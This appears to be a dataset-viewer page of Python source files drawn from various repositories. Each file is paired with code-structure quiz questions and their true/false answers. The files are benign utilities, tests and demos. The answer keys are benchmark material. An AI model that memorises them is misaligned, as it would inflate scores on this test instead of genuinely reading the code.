headers = {'user-agent': 'Lynx/2.8.9dev.16 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/3.5.17'}
def getHandleUrl(self, handle):
return "{}://{}.{}".format(tumblr.scheme, handle, tumblr.url)
def availableHandle(self, r):
return r.status_code == 404
| [
{
"point_num": 1,
"id": "more_functions_than_classes",
"question": "Does this file define more functions than classes?",
"answer": true
},
{
"point_num": 2,
"id": "has_multiple_inheritance",
"question": "Does any class in this file use multiple inheritance?",
"answer": false
},... | 3 | plugins/tumblr.py | whiteroot/SUS |
# -*- coding:utf-8 -*-
class TabSetup(object):
def __init__(self, url_name='', click_css_selector='', pause_time=1, x_offset=8, y_offset=8, try_times=20):
"""
爬虫标签页设置
:param url_name:
:param click_css_selector:
:param pause_time:暂停时间
:param x_offset:x轴方向页面偏移
:param y_offset:y轴方向页面偏移
:param try_times:尝试的次数
"""
self.url_name = url_name
self.click_css_selector = click_css_selector
self.pause_time = pause_time
self.x_offset = x_offset
self.y_offset = y_offset
self.try_times = try_times
def __str__(self):#url_name与click_css_selector两者只能存在一个
if (not self.url_name and not self.click_css_selector) or (self.url_name and self.click_css_selector):
return str(None)
else:
result = vars(self).copy()
if self.url_name:
result.pop('click_css_selector')
elif self.click_css_selector:
result.pop('url_name')
return str(result)
def __eq__(self, other):
if other is None:
return (self.url_name and self.click_css_selector) or (not self.url_name and not self.click_css_selector)
else:
if vars(other) == vars(self):
return True
else:
super.__eq__(self, other)
| [
{
"point_num": 1,
"id": "all_params_annotated",
"question": "Does every function parameter in this file have a type annotation (excluding self/cls)?",
"answer": false
},
{
"point_num": 2,
"id": "all_function_names_snake_case",
"question": "Are all function names in this file written ... | 3 | spider/driver/base/tabsetup.py | mannuan/dspider |
from __future__ import absolute_import
import operator
from celery.concurrency import solo
from celery.utils.functional import noop
from celery.tests.case import AppCase
class test_solo_TaskPool(AppCase):
def test_on_start(self):
x = solo.TaskPool()
x.on_start()
def test_on_apply(self):
x = solo.TaskPool()
x.on_start()
x.on_apply(operator.add, (2, 2), {}, noop, noop)
def test_info(self):
x = solo.TaskPool()
x.on_start()
self.assertTrue(x.info)
| [
{
"point_num": 1,
"id": "every_function_has_docstring",
"question": "Does every function in this file have a docstring?",
"answer": false
},
{
"point_num": 2,
"id": "has_nested_function_def",
"question": "Does this file contain any function defined inside another function?",
"ans... | 3 | venv/Lib/site-packages/celery/tests/concurrency/test_solo.py | Verckolf/MyInterfaceTest |
import os
from datetime import datetime
from pytz import timezone
from django.test import TestCase
from calendars.parsing import read_feed, get_events
class FeedTests(TestCase):
"""
When provided with an ICS feed URL, the app should be able to request the
feed content, parse the events from the feed, check for existing matching
events in the system based on UID, update those events, and add new events
where no match is found.
"""
def test_invalid_feed(self):
"""Ensure a helpful exception is raised"""
# Mock requests
self.assertRaises(Exception, read_feed, "http://www.example.com/badfeed")
def test_valid_feed(self):
"""Ensure a dictionary of event data is returned"""
pass
def test_loads_events(self):
"""The parsing function should return events"""
from icalendar import Calendar
test_cal = os.path.join(os.path.dirname(__file__), "feed.ics")
with open(test_cal, "r") as f:
cal = Calendar.from_ical(f.read())
self.assertEqual(18, len(get_events(cal,
start=datetime(2013, 10, 10, tzinfo=timezone('America/New_York')))))
self.assertEqual(17, len(get_events(cal,
start=datetime(2013, 10, 12, tzinfo=timezone('America/New_York')))))
| [
{
"point_num": 1,
"id": "every_function_has_docstring",
"question": "Does every function in this file have a docstring?",
"answer": true
},
{
"point_num": 2,
"id": "has_multiple_inheritance",
"question": "Does any class in this file use multiple inheritance?",
"answer": false
}... | 3 | tests/test_feed.py | rva-data/connector-calendars |
import tensorflow as tf
import model3 as M
import numpy as np
import resnet
import cv2
class FaceResNet(M.Model):
def initialize(self):
self.resnet = resnet.ResNet([64,64,128,256,512], [3, 4, 14, 3], 512)
def forward(self, x):
feat = self.resnet(x)
return feat
tf.keras.backend.set_learning_phase(True)
model = FaceResNet()
optimizer = tf.keras.optimizers.Adam(0.0001)
saver = M.Saver(model, optimizer)
saver.restore('./model/')
def extract_feature(imgname):
img = cv2.imread(imgname)
img = np.float32(img)[None,...]
feat = model(img).numpy()[0]
feat = feat.reshape([-1])
feat = feat / np.linalg.norm(feat)
return feat
feat = extract_feature('1.jpg')
| [
{
"point_num": 1,
"id": "more_functions_than_classes",
"question": "Does this file define more functions than classes?",
"answer": true
},
{
"point_num": 2,
"id": "every_function_under_20_lines",
"question": "Is every function in this file shorter than 20 lines?",
"answer": true
... | 3 | example/FaceResNet/evaluation.py | ddddwee1/SULT |
# GENERATED BY KOMAND SDK - DO NOT EDIT
import komand
import json
class Input:
CREDENTIALS = "credentials"
URL = "url"
USE_AUTHENTICATION = "use_authentication"
class ConnectionSchema(komand.Input):
schema = json.loads("""
{
"type": "object",
"title": "Variables",
"properties": {
"credentials": {
"$ref": "#/definitions/credential_username_password",
"title": "Basic Auth Username and Password",
"description": "Basic Auth username and password",
"order": 2
},
"url": {
"type": "string",
"title": "URL",
"description": "Host URL E.g. http://10.0.2.2:9200",
"order": 1
},
"use_authentication": {
"type": "boolean",
"title": "Use Authentication",
"description": "If the Elasticsearch host does not use authentication set this value to false",
"default": true,
"order": 3
}
},
"required": [
"credentials",
"url",
"use_authentication"
],
"definitions": {
"credential_username_password": {
"id": "credential_username_password",
"type": "object",
"title": "Credential: Username and Password",
"description": "A username and password combination",
"properties": {
"password": {
"type": "string",
"title": "Password",
"displayType": "password",
"description": "The password",
"format": "password",
"order": 2
},
"username": {
"type": "string",
"title": "Username",
"description": "The username to log in with",
"order": 1
}
},
"required": [
"username",
"password"
]
}
}
}
""")
def __init__(self):
super(self.__class__, self).__init__(self.schema)
| [
{
"point_num": 1,
"id": "every_class_has_docstring",
"question": "Does every class in this file have a docstring?",
"answer": false
},
{
"point_num": 2,
"id": "more_functions_than_classes",
"question": "Does this file define more functions than classes?",
"answer": false
},
{... | 3 | elasticsearch/komand_elasticsearch/connection/schema.py | killstrelok/insightconnect-plugins |
###############################################################################
#
# Tests for XlsxWriter.
#
# SPDX-License-Identifier: BSD-2-Clause
# Copyright (c), 2013-2021, John McNamara, jmcnamara@cpan.org
#
from ..excel_comparison_test import ExcelComparisonTest
from ...workbook import Workbook
class TestCompareXLSXFiles(ExcelComparisonTest):
"""
Test file created by XlsxWriter against a file created by Excel.
"""
def setUp(self):
self.set_filename('chart_blank04.xlsx')
def test_create_file(self):
"""Test the creation of a simple XlsxWriter file."""
workbook = Workbook(self.got_filename)
worksheet = workbook.add_worksheet()
chart = workbook.add_chart({'type': 'line'})
chart.axis_ids = [42268928, 42990208]
data = [
[1, 2, None, 4, 5],
[2, 4, None, 8, 10],
[3, 6, None, 12, 15],
]
worksheet.write_column('A1', data[0])
worksheet.write_column('B1', data[1])
worksheet.write_column('C1', data[2])
chart.add_series({'values': '=Sheet1!$A$1:$A$5'})
chart.add_series({'values': '=Sheet1!$B$1:$B$5'})
chart.add_series({'values': '=Sheet1!$C$1:$C$5'})
chart.show_blanks_as('span')
worksheet.insert_chart('E9', chart)
workbook.close()
self.assertExcelEqual()
| [
{
"point_num": 1,
"id": "more_functions_than_classes",
"question": "Does this file define more functions than classes?",
"answer": true
},
{
"point_num": 2,
"id": "every_function_has_docstring",
"question": "Does every function in this file have a docstring?",
"answer": false
}... | 3 | xlsxwriter/test/comparison/test_chart_blank04.py | Rippling/XlsxWriter-1 |
#Reyes, Kerwiwn & Navarro, Jeric
#CS - 302
import math
import numpy as np
import pandas as pd
import scipy.optimize as optim
import matplotlib.pyplot as plt
#import the data
data = pd.read_csv('Philippine_data_logistic.csv', sep=';')
data = data['total_cases']
data = data.reset_index(drop=False)
data.columns = ['Timestep', 'Total Cases']
#Define the function with the coeficients to estimate
def my_logistic(t, a, b, c):
return c / (1 + a * np.exp(-b*t))
#Randomly initialize the coefficients
p0 = np.random.exponential(size=3)
#Set min bound 0 on all coefficients, and set different max bounds for each coefficient
bounds = (0, [100000., 3., 1000000000.])
#convert pd.Series to np.Array and use Scipy's curve fit to find ther best Non linear Lease Aquares coefficients
x = np.array(data['Timestep']) + 1
y = np.array(data['Total Cases'])
#Show the coefficeints
(a,b,c),cov = optim.curve_fit(my_logistic, x, y, bounds=bounds, p0=p0)
print(a,b,c)
#redefine the fuction with the new a,b and c
def my_logistic(t):
return c / (1 + a * np.exp(-b*t))
#Plot
plt.scatter(x, y)
plt.plot(x, my_logistic(x))
plt.title('Logistic Model vs Real Observations of Philippine Coronavirus')
plt.legend([ 'Logistic Model', 'Real data'])
plt.xlabel('Time')
plt.ylabel('Infections')
plt.show()
| [
{
"point_num": 1,
"id": "no_function_exceeds_5_params",
"question": "Does every function in this file take 5 or fewer parameters (excluding self/cls)?",
"answer": true
},
{
"point_num": 2,
"id": "all_params_annotated",
"question": "Does every function parameter in this file have a ty... | 3 | logistic.py | kerwinreyes/logisticgrowthmodel |
#
# checkmatches.py
# A non-spoiler top prowrestling match finder
# list from http://www.profightdb.com/top-rated-matches.html
# For copyright see LICENSE.md
# Author: Soren Rasmussen github: scrasmussen
#
INTERWEBZ=False
from urllib.request import urlopen
from bs4 import BeautifulSoup
from random import randint
from datetime import datetime as dt
from dateutil.parser import parse
import pandas as pd
def sortTopMatches(df):
df.to_csv("topMatches.csv", index=False, header=False)
def sortByDate(df):
df["DATE"] =pd.to_datetime(df.DATE)
df.sort_values('DATE',inplace=True)
# print(df)
df.to_csv("sortByDate.csv", index=False, header=False)
print("Start")
if (INTERWEBZ):
SEARCHURL="http://www.profightdb.com/top-rated-matches.html"
req = urlopen(SEARCHURL);
soup = BeautifulSoup(req,"lxml")
else:
soup = BeautifulSoup(open("./top-rated-matches.html"),"lxml")
matches = soup.findAll(class_="chequered")
table = soup.find('table')
RATING=[]
DATE=[]
SHOW=[]
MATCH=[]
# print(table)
for row in table.find_all("tr"):
cell = row.find_all("td")
if ((len(cell) == 6)):
RATING.append(cell[0].text.strip())
DATE.append(parse(cell[1].text.strip()).strftime("%d, %b %Y"))
SHOW.append(cell[2].text.lstrip().replace('\n',':'))
if (randint(0,1)):
match = cell[3].text.lstrip() + "vs " + cell[4].text.lstrip()
else:
match = cell[4].text.lstrip() + "vs " + cell[3].text.lstrip()
MATCH.append(match)
df = pd.DataFrame(RATING)
df["DATE"]=DATE
df["SHOW"]=SHOW
df["MATCH"]=MATCH
df.insert(0,"CHECK",'[ ]')
# Save the sorted by ranking
# sortTopMatches(df)
# Save the sorted by date list
# sortByDate(df)
print("Fin")
| [
{
"point_num": 1,
"id": "has_nested_function_def",
"question": "Does this file contain any function defined inside another function?",
"answer": false
},
{
"point_num": 2,
"id": "every_function_has_docstring",
"question": "Does every function in this file have a docstring?",
"ans... | 3 | wse/checkmatches.py | scrasmussen/euler-enigma |
from ui import View,Label,delay
from keyboard import get_input_context,set_view,get_selected_text
from math import *
# Python accessible eval from pythonista's PyKeys
class Out_View(View):
def __init__(self):
# Grap all the methods of View
super().__init__(self)
# Label for outputs
self.label=Label(frame=self.bounds.inset(0, 4, 0, 36), flex='WH')
# Only some configuration for better look
self.label.font=('Charter',12)
self.label.text_color ='#ffffff'
self.background_color = '#319b9b'
self.add_subview(self.label)
# This updates the view
delay(self.update,0.3)
# This is called every time the stop typing
def kb_text_changed(self):
# This gets called automatically by the keyboard (for the active view) whenever the text/selection changes
self.update()
# Update the result of the lable with the evalution of the text selected or the last typed by the iser
def update(self):
# Grap the last typed text by the user
context = get_input_context()
# Grap the selected text by the user
select = get_selected_text()
# If the user select some text
if select != '':
inp = select
else:
# If go here user didn't select text so the script is going to grap the last stuff he typed
inp = context[0]
# pass the input to the eval function
try:
self.label.text= '{}'.format(eval(inp))
except Exception as e:
self.label.text='{}'.format(e)
def main():
# Se view add's the created view to the panel of PyKeys keyboard
set_view(Out_View())
main()
| [
{
"point_num": 1,
"id": "all_function_names_snake_case",
"question": "Are all function names in this file written in snake_case?",
"answer": true
},
{
"point_num": 2,
"id": "more_functions_than_classes",
"question": "Does this file define more functions than classes?",
"answer": ... | 3 | Pythonista/KB_shortcuts/eval.py | walogo/Pythonista-scripts |
# -*- coding: utf-8 -*-
import numpy as np
from ctp.indexing.base import Index
class NPSearchIndex(Index):
def __init__(self):
super().__init__()
self.data = None
def build(self,
data: np.ndarray):
self.data = data
def query(self,
data: np.ndarray,
k: int = 5) -> np.ndarray:
nb_instances = data.shape[0]
res = []
for i in range(nb_instances):
sqd = np.sqrt(((self.data - data[i, :]) ** 2).sum(axis=1))
indices = np.argsort(sqd)
top_k_indices = indices[:k].tolist()
res += [top_k_indices]
res = np.array(res)
return res
| [
{
"point_num": 1,
"id": "all_function_names_snake_case",
"question": "Are all function names in this file written in snake_case?",
"answer": true
},
{
"point_num": 2,
"id": "has_multiple_inheritance",
"question": "Does any class in this file use multiple inheritance?",
"answer": ... | 3 | ctp/indexing/np.py | Vikicsizmadia/ctp |
import sys
from adafruit_mcp3xxx.analog_in import AnalogIn
from logger.Logger import Logger, LOG_LEVEL
from sensors.mcp3xxx.sensor import Sensor
# Tested using Sun3Drucker Model SX239
# Wet Water = 287
# Dry Air = 584
AirBounds = 43700
WaterBounds = 13000
intervals = int((AirBounds - WaterBounds) / 3)
class SoilSensor(Sensor):
def __init__(self, pin, mcp, name=None, key=None, redis_conn=None):
super().__init__(pin, name=name, key=key, mcp=mcp,
redis_conn=redis_conn)
return
def init_sensor(self):
self.topic = AnalogIn(self.mcp, Sensor.PINS[self.pin])
def read(self):
resistance = self.read_pin()
moistpercent = (
(resistance - WaterBounds) / (
AirBounds - WaterBounds)
) * 100
if moistpercent > 80:
moisture = 'Very Dry - ' + str(int(moistpercent))
elif 80 >= moistpercent > 45:
moisture = 'Dry - ' + str(int(moistpercent))
elif 45 >= moistpercent > 25:
moisture = 'Wet - ' + str(int(moistpercent))
else:
moisture = 'Very Wet - ' + str(int(moistpercent))
# print("Resistance: %d" % resistance)
# TODO: Put redis store into sensor worker
self.r.set(self.key,
resistance)
# TODO: CHANGE BACK TO 'moistpercent' (PERSONAL CONFIG)
Logger.log(LOG_LEVEL["debug"], "moisture: {0}".format(moisture))
return resistance
| [
{
"point_num": 1,
"id": "all_function_names_snake_case",
"question": "Are all function names in this file written in snake_case?",
"answer": true
},
{
"point_num": 2,
"id": "more_functions_than_classes",
"question": "Does this file define more functions than classes?",
"answer": ... | 3 | mudpi/sensors/mcp3xxx/soil_sensor.py | icyspace/mudpi-core |
import unittest
import sys
sys.path.insert(1, '..')
import easy_gui
class GUI(easy_gui.EasyGUI):
def __init__(self, **kwargs):
self.add_widget(type='button', text='Button1', command_func=lambda e: print('Button1 working!'))
self.test_lbl = self.add_widget(type='label', text='Here\'s an awesome label!')
self.add_widget('btn', 'Update Label', command_func=self.update_lbl)
def update_lbl(self, *args):
self.test_lbl.set(self.test_lbl.get() + 'X')
class TestEasyGUI(unittest.TestCase):
def test_gui_creation(self):
GUI()
GUI(alpha=0.7)
GUI(fullscreen=True) # use Alt + F4 to close
GUI(toolwindow=True)
GUI(topmost=True)
GUI(overrideredirect=True)
GUI(disable_interaction=True)
self.assertTrue(True)
if __name__ == '__main__':
unittest.main() #buffer=True)
| [
{
"point_num": 1,
"id": "has_multiple_inheritance",
"question": "Does any class in this file use multiple inheritance?",
"answer": false
},
{
"point_num": 2,
"id": "all_function_names_snake_case",
"question": "Are all function names in this file written in snake_case?",
"answer":... | 3 | tests/test_wm_attributes.py | zachbateman/easy_gui |
from flask import Flask, redirect, url_for, request, render_template
app = Flask(__name__)
@app.route('/success/<name>')
def success(name):
return 'welcome %s' % name
@app.route('/login', methods=['POST', 'GET'])
def login():
if request.method == 'POST':
user = request.form['nm']
return redirect(url_for('success', name = user))
return render_template('login.html')
if __name__ == "__main__":
app.run(debug=True) | [
{
"point_num": 1,
"id": "has_nested_function_def",
"question": "Does this file contain any function defined inside another function?",
"answer": false
},
{
"point_num": 2,
"id": "every_function_under_20_lines",
"question": "Is every function in this file shorter than 20 lines?",
... | 3 | loginTest.py | bryanprichard13/FlaskTesting21 |
from zope.interface.common.mapping import IMapping
class ISessionDataObject(IMapping):
""" Supports a mapping interface plus expiration- and container-related
methods """
def getId():
"""
Returns a meaningful unique id for the object. Note that this id
need not the key under which the object is stored in its container.
"""
def invalidate():
"""
Invalidate (expire) the transient object.
Causes the transient object container's "before destruct" method
related to this object to be called as a side effect.
"""
def isValid():
"""
Return true if transient object is still valid, false if not.
A transient object is valid if its invalidate method has not been
called.
"""
def getCreated():
"""
Return the time the transient object was created in integer
seconds-since-the-epoch form.
"""
def getContainerKey():
"""
Return the key under which the object was placed in its
container.
"""
def set(k, v):
""" Alias for __setitem__ """
def __guarded_setitem__(k, v):
""" Alias for __setitem__ """
def delete(k):
""" Alias for __delitem__ """
def __guarded_delitem__(k):
""" Alias for __delitem__ """
| [
{
"point_num": 1,
"id": "all_params_annotated",
"question": "Does every function parameter in this file have a type annotation (excluding self/cls)?",
"answer": false
},
{
"point_num": 2,
"id": "all_function_names_snake_case",
"question": "Are all function names in this file written ... | 3 | Products/BeakerSessionDataManager/interfaces.py | affinitic/Products.BeakerSessionDataManager |
import pymysql
import datetime
from flask import Flask, render_template, request
from cal import calday
def datepick(db_password, zone, infra, id):
conn = pymysql.connect(
host='127.0.0.1',
port=3306,
user='root',
password=db_password,
db=zone)
curs = conn.cursor()
m_day = request.args.get('m_day')
m_day = str(m_day)
day = m_day.split(' ')
start = day[0]
end = day[2]
sqls = calday( start, end, infra, id )
data_list = []
for sql in sqls:
curs.execute(sql)
row = curs.fetchall()
for obj in row :
data_list.append( [str(obj[0]),obj[2],obj[3]] )
# DATE, CPU, MEM 순서
return data_list, start, end
def storage_datepick(db_password, zone, infra, id):
conn = pymysql.connect(
host='127.0.0.1',
port=3306,
user='root',
password=db_password,
db=zone)
curs = conn.cursor()
m_day = request.args.get('m_day')
m_day = str(m_day)
day = m_day.split(' ')
start = day[0]
end = day[2]
sqls = calday( start, end, infra, id )
data_list = []
for sql in sqls:
curs.execute(sql)
row = curs.fetchall()
for obj in row :
data_list.append( [str(obj[0]),obj[2],obj[3], obj[4]] )
# DATE | IOPS | LATENCY | MBPS
return data_list, start, end
| [
{
"point_num": 1,
"id": "all_params_annotated",
"question": "Does every function parameter in this file have a type annotation (excluding self/cls)?",
"answer": false
},
{
"point_num": 2,
"id": "every_function_has_docstring",
"question": "Does every function in this file have a docst... | 3 | datepick.py | manzino0705/flask |
import socket
import threading
# Connection Data
host = '127.0.0.1'
port = 3415
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((host, port))
server.listen()
clients = []
nicknames = []
def broadcast(message):
for client in clients:
client.send(message)
def handle(client):
while True:
try:
# Broadcasting Messages
message = client.recv(1024)
broadcast(message)
except Exception as e:
index = clients.index(client)
clients.remove(client)
client.close()
nickname = nicknames[index]
broadcast(f'{nickname} left!')
nicknames.remove(nickname)
break
def receive():
while True:
# Accept Connection
client, address = server.accept()
print(f"Connected with {str(address)}")
# Request And Store Nickname
client.send('NICK'.encode('utf-8'))
nickname = client.recv(1024).decode('utf-8')
nicknames.append(nickname)
clients.append(client)
print(f"Nickname is {nickname}")
broadcast(f"{nickname} joined!".encode('utf-8'))
client.send('Connected to server!'.encode('utf-8'))
thread = threading.Thread(target=handle, args=(client,))
thread.start()
print("Server is listening")
receive()
| [
{
"point_num": 1,
"id": "every_function_under_20_lines",
"question": "Is every function in this file shorter than 20 lines?",
"answer": true
},
{
"point_num": 2,
"id": "all_return_types_annotated",
"question": "Does every function in this file have a return type annotation?",
"an... | 3 | server.py | mrfrosk/tcpmessanger |
from helpers import assert_equality
def plot():
import numpy as np
from matplotlib import pyplot as plt
def f(t):
s1 = np.cos(2 * np.pi * t)
e1 = np.exp(-t)
return np.multiply(s1, e1)
fig = plt.figure()
t1 = np.arange(0.0, 5.0, 0.4)
t2 = np.arange(0.0, 5.0, 0.1)
t3 = np.arange(0.0, 2.0, 0.1)
plt.subplot(211)
plt.plot(t1, f(t1), "bo", t2, f(t2), "k--", markerfacecolor="green")
plt.grid(True)
plt.title("A tale of 2 subplots")
plt.ylabel("Damped oscillation")
plt.subplot(212)
plt.plot(t3, np.cos(2 * np.pi * t3), "r.")
plt.grid(True)
plt.xlabel("time (s)")
plt.ylabel("Undamped")
fig.suptitle("PLOT TITLE", fontsize=18, fontweight="bold")
return fig
def test():
assert_equality(plot, __file__[:-3] + "_reference.tex")
return
| [
{
"point_num": 1,
"id": "has_nested_function_def",
"question": "Does this file contain any function defined inside another function?",
"answer": true
},
{
"point_num": 2,
"id": "every_function_under_20_lines",
"question": "Is every function in this file shorter than 20 lines?",
"... | 3 | test/test_subplots.py | dajuno/tikzplotlib |
from django.http.response import HttpResponse
from django.http import JsonResponse
from rest_framework import mixins, viewsets
import os
class NoReadModelViewSet(
# fmt: off
mixins.CreateModelMixin,
mixins.UpdateModelMixin,
mixins.DestroyModelMixin,
viewsets.GenericViewSet
):
"""
Only allows adding new resources and modifying them, NO GET request allowed at all!
It is to make sure public facing API doesn't leak information.
A viewset that provides default `create()`, `update()`, `partial_update()`
and `destroy()` actions.
"""
def health_check(req):
return HttpResponse("OK")
def build_info(req):
r = {}
r["build"] = os.environ.get("BUILD", "n.a")
r["commit"] = os.environ.get("COMMIT", "n.a.")
r["branch"] = os.environ.get("BRANCH", "n.a.")
return JsonResponse(r)
| [
{
"point_num": 1,
"id": "more_functions_than_classes",
"question": "Does this file define more functions than classes?",
"answer": true
},
{
"point_num": 2,
"id": "has_multiple_inheritance",
"question": "Does any class in this file use multiple inheritance?",
"answer": true
},
... | 3 | code/backend/project_noe/views.py | rollethu/noe |
import smbl
import snakemake
import os
from ._program import *
PICARD = get_bin_file_path("picard.jar")
##########################################
##########################################
class Picard(Program):
@classmethod
def get_installation_files(cls):
return [
PICARD,
]
@classmethod
def install(cls):
ver="1.140"
fn=cls.download_file("https://github.com/broadinstitute/picard/releases/download/{ver}/picard-tools-{ver}.zip".format(ver=ver),"picard.zip")
dir=os.path.dirname(fn)
smbl.utils.shell('(cd "{dir}" && unzip -j picard.zip) > /dev/null'.format(dir=dir))
cls.install_file("picard.jar",PICARD)
@classmethod
def supported_platforms(cls):
return ["osx","linux","cygwin"]
| [
{
"point_num": 1,
"id": "all_function_names_snake_case",
"question": "Are all function names in this file written in snake_case?",
"answer": true
},
{
"point_num": 2,
"id": "every_function_has_docstring",
"question": "Does every function in this file have a docstring?",
"answer":... | 3 | smbl/prog/plugins/picard.py | karel-brinda/snakemake-lib |
import itertools
import pandas as pd
import datetime as dt
from xirr.math import xirr
import goldenowl.asset.asset
from goldenowl.portfolio.holding import Holding
class SimplePut(Holding):
def __init__(self, aName, aAsset, aStrike, aExpiry, aOTMCostFactor):
Holding.__init__(self, aName, aAsset);
self.m_otm_cost_factor = aOTMCostFactor;
self.m_strike = aStrike;
self.m_expiry = pd.to_datetime(aExpiry);
def _getAssetValue(self, aDate):
norm_date = pd.to_datetime(aDate);
underlying_val = -1;
if (norm_date < self.m_expiry):
underlying_val = self.m_inst_pr_map.getValue(aDate);
prem_val = self.m_otm_cost_factor*underlying_val;
if (underlying_val < self.m_strike):
return prem_val + self.m_strike - underlying_val;
else:
return prem_val;
else:
underlying_val = self.m_inst_pr_map.getValue(self.m_expiry);
if (underlying_val < self.m_strike):
return self.m_strike - underlying_val;
else:
return 0;
| [
{
"point_num": 1,
"id": "more_functions_than_classes",
"question": "Does this file define more functions than classes?",
"answer": true
},
{
"point_num": 2,
"id": "no_function_exceeds_5_params",
"question": "Does every function in this file take 5 or fewer parameters (excluding self/... | 3 | goldenowl/portfolio/simplePut.py | nishanth-/goldenowl |
import unittest
from unittest.mock import patch
from unittest.mock import MagicMock
from hw_diag.utilities.gcs_shipper import generate_hash
from hw_diag.utilities.gcs_shipper import upload_diagnostics
class OKResponse(object):
status_code = 200
class ErrorResponse(object):
status_code = 500
text = 'Internal Server Error'
class TestGenerateHash(unittest.TestCase):
def test_generate_hash(self):
result = generate_hash('public_key')
self.assertEqual(len(result), 64)
class TestUploadDiagnostics(unittest.TestCase):
@patch('hw_diag.utilities.gcs_shipper.requests')
def test_upload_diagnostics_valid(self, mock_requests):
mock_requests.post = MagicMock()
mock_requests.post.return_value = OKResponse()
diagnostics = {'PK': 'my_key'}
retval = upload_diagnostics(diagnostics, True)
self.assertTrue(retval)
@patch('hw_diag.utilities.gcs_shipper.requests')
def test_upload_diagnostics_invalid(self, mock_requests):
mock_requests.post = MagicMock()
mock_requests.post.return_value = ErrorResponse()
diagnostics = {'PK': 'my_key'}
retval = upload_diagnostics(diagnostics, True)
self.assertFalse(retval)
def test_upload_diagnostics_should_not_ship(self):
diagnostics = {'PK': 'my_key'}
retval = upload_diagnostics(diagnostics, False)
self.assertIsNone(retval)
| [
{
"point_num": 1,
"id": "every_class_has_docstring",
"question": "Does every class in this file have a docstring?",
"answer": false
},
{
"point_num": 2,
"id": "every_function_has_docstring",
"question": "Does every function in this file have a docstring?",
"answer": false
},
... | 3 | hw_diag/tests/test_gcs_shipper.py | ganey/hm-diag |
# Copyright 2020 The StackStorm Authors.
# Copyright 2019 Extreme Networks, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import six
from oslo_config import cfg
__all__ = [
'get_full_key_name',
'check_key'
]
def get_full_key_name(key):
"""
Return full metric key name, taking into account optional prefix which can be specified in the
config.
"""
parts = ['st2']
if cfg.CONF.metrics.prefix:
parts.append(cfg.CONF.metrics.prefix)
parts.append(key)
return '.'.join(parts)
def check_key(key):
"""
Ensure key meets requirements.
"""
assert isinstance(key, six.string_types), "Key not a string. Got %s" % type(key)
assert key, "Key cannot be empty string."
| [
{
"point_num": 1,
"id": "every_function_has_docstring",
"question": "Does every function in this file have a docstring?",
"answer": true
},
{
"point_num": 2,
"id": "every_function_under_20_lines",
"question": "Is every function in this file shorter than 20 lines?",
"answer": true... | 3 | st2common/st2common/metrics/utils.py | kkkanil/st2 |
# -*- coding: utf-8 -*-
"""Defines fixtures available to all tests."""
import pytest
from webtest import TestApp
from mall.app import create_app
from mall.database import db as _db
from mall.settings import TestConfig
from .factories import UserFactory
@pytest.fixture
def app():
"""An application for the tests."""
_app = create_app(TestConfig)
ctx = _app.test_request_context()
ctx.push()
yield _app
ctx.pop()
@pytest.fixture
def testapp(app):
"""A Webtest app."""
return TestApp(app)
@pytest.fixture
def db(app):
"""A database for the tests."""
_db.app = app
with app.app_context():
_db.create_all()
yield _db
# Explicitly close DB connection
_db.session.close()
_db.drop_all()
@pytest.fixture
def user(db):
"""A user for the tests."""
user = UserFactory(password='myprecious')
db.session.commit()
return user
| [
{
"point_num": 1,
"id": "all_params_annotated",
"question": "Does every function parameter in this file have a type annotation (excluding self/cls)?",
"answer": false
},
{
"point_num": 2,
"id": "all_function_names_snake_case",
"question": "Are all function names in this file written ... | 3 | tests/conftest.py | anngle/mall |
import functools
import inspect
import warnings
string_types = (type(b''), type(u''))
def warn_deprecation(text):
warnings.simplefilter('always', DeprecationWarning)
warnings.warn(
text,
category=DeprecationWarning,
stacklevel=2
)
warnings.simplefilter('default', DeprecationWarning)
def deprecated(reason):
"""
This is a decorator which can be used to mark functions
as deprecated. It will result in a warning being emitted
when the function is used.
"""
if isinstance(reason, string_types):
# The @deprecated is used with a 'reason'.
#
# .. code-block:: python
#
# @deprecated("please, use another function")
# def old_function(x, y):
# pass
def decorator(func1):
if inspect.isclass(func1):
fmt1 = "Call to deprecated class {name} ({reason})."
else:
fmt1 = "Call to deprecated function {name} ({reason})."
@functools.wraps(func1)
def new_func1(*args, **kwargs):
warn_deprecation(
fmt1.format(name=func1.__name__, reason=reason),
)
return func1(*args, **kwargs)
return new_func1
return decorator
elif inspect.isclass(reason) or inspect.isfunction(reason):
# The @deprecated is used without any 'reason'.
#
# .. code-block:: python
#
# @deprecated
# def old_function(x, y):
# pass
func2 = reason
if inspect.isclass(func2):
fmt2 = "Call to deprecated class {name}."
else:
fmt2 = "Call to deprecated function {name}."
@functools.wraps(func2)
def new_func2(*args, **kwargs):
warn_deprecation(
fmt2.format(name=func2.__name__),
)
return func2(*args, **kwargs)
return new_func2
else:
raise TypeError(repr(type(reason)))
| [
{
"point_num": 1,
"id": "any_function_over_40_lines",
"question": "Is any function in this file longer than 40 lines?",
"answer": true
},
{
"point_num": 2,
"id": "all_function_names_snake_case",
"question": "Are all function names in this file written in snake_case?",
"answer": t... | 3 | myvenv/Lib/site-packages/graphene/utils/deprecated.py | Fa67/saleor-shop |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.